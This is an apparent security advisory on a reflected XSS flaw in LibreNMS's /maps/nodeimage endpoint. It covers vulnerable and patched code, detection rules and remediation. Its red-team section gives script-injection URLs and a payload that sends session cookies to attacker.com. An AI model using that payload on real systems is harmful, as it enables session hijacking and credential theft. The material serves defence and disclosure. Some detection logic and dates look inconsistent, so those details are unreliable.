CVE-2025-65013

Executive Summary

CVE-2025-65013 is a reflected Cross-Site Scripting (XSS) vulnerability in LibreNMS, an auto-discovering PHP/MySQL/SNMP based network monitoring tool. The flaw exists in the /maps/nodeimage endpoint, where the Image Name parameter is reflected in the HTTP response without proper output encoding or sanitization. An attacker can craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the victim's browser. This could lead to session hijacking, credential theft, or further compromise of the monitoring infrastructure. The vulnerability is patched in version 25.11.0.

CVSS Breakdown & Threat Level

• CVSS Score: 6.2 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed to trigger the reflection.
• User Interaction (UI): Required – The victim must click a crafted link.
• Scope (S): Changed – The XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement within a network monitoring environment elevates the risk for organizations using LibreNMS.

Deep Dive & Mechanics

The vulnerability resides in the /maps/nodeimage endpoint. This endpoint is used to retrieve node images for the network maps feature. The Image Name parameter is taken from the URL and directly embedded into the HTML response without any sanitization or encoding.

Root Cause: The application fails to apply output encoding (e.g., HTML entity encoding) to user-supplied input before reflecting it in the response. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL: https://target-librenms/maps/nodeimage?image=<script>alert('XSS')</script>
2. The attacker sends this link to a victim (e.g., via phishing email or social engineering).
3. The victim, who is authenticated to the LibreNMS instance, clicks the link.
4. The server reflects the malicious script in the response without sanitization.
5. The victim's browser executes the script, which can steal session cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (Prior to 25.11.0):

// In /maps/nodeimage endpoint
$imageName = $_GET['image'];
echo "<img src='images/$imageName' />";

Patched Code (25.11.0):

// In /maps/nodeimage endpoint
$imageName = htmlspecialchars($_GET['image'], ENT_QUOTES, 'UTF-8');
echo "<img src='images/$imageName' />";

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a vulnerable version of LibreNMS (e.g., 25.10.0) on a local VM.
2. Ensure the application is accessible via a web browser.

Exploitation Steps:

1. Craft a malicious URL:

   http://target-librenms/maps/nodeimage?image=<script>alert(document.cookie)</script>
   

2. Send this URL to a victim (simulated by opening the link in a browser where you are logged in).
3. Observe the JavaScript execution (e.g., an alert box showing cookies).

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /maps/nodeimage with suspicious image parameters containing <script>, onerror, or other HTML/JavaScript patterns.
• Use WAF rules to block requests with XSS patterns in the image parameter.

Hunting:

• Search for any recent alerts or logs showing unusual JavaScript execution in the context of LibreNMS.
• Review user activity logs for unexpected actions performed by accounts that may have been compromised via XSS.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /maps/nodeimage with image parameter containing <script>, onerror, onload, or other event handlers.
  • Outbound connections to unknown or suspicious domains from the LibreNMS server (potential data exfiltration).
• File IOCs:
  • Modified or new JavaScript files in the LibreNMS webroot (if attacker uploaded a persistent payload).
• Log IOCs:
  • Web server logs showing 200 responses to /maps/nodeimage with unusual image parameter values.

Detection Engineering

YARA Rule

rule CVE_2025_65013_XSS_LibreNMS {
    meta:
        description = "Detects reflected XSS attempts against LibreNMS /maps/nodeimage endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65013"
    strings:
        $xss_pattern1 = "/maps/nodeimage?image=" nocase
        $xss_pattern2 = "<script" nocase
        $xss_pattern3 = "onerror=" nocase
        $xss_pattern4 = "onload=" nocase
    condition:
        all of them
}

Sigma Rule

title: Reflected XSS Attempt Against LibreNMS /maps/nodeimage
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to LibreNMS /maps/nodeimage with XSS payloads in the image parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/maps/nodeimage?image="
        cs-uri-query|contains|any:
            - "<script"
            - "onerror="
            - "onload="
            - "alert("
    condition: selection
falsepositives:
    - Legitimate use of image names containing these strings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65013 LibreNMS Reflected XSS Attempt"; flow:to_server; content:"/maps/nodeimage?image="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS to version 25.11.0 or later.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to /maps/nodeimage with suspicious image parameters.
3. Restrict access to the LibreNMS web interface to trusted IP addresses or VPN only.

Long-Term Measures:

• Enforce strict input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Monitor for any signs of compromise using the provided detection rules.

Valters IT – Securing your digital infrastructure with precision and expertise.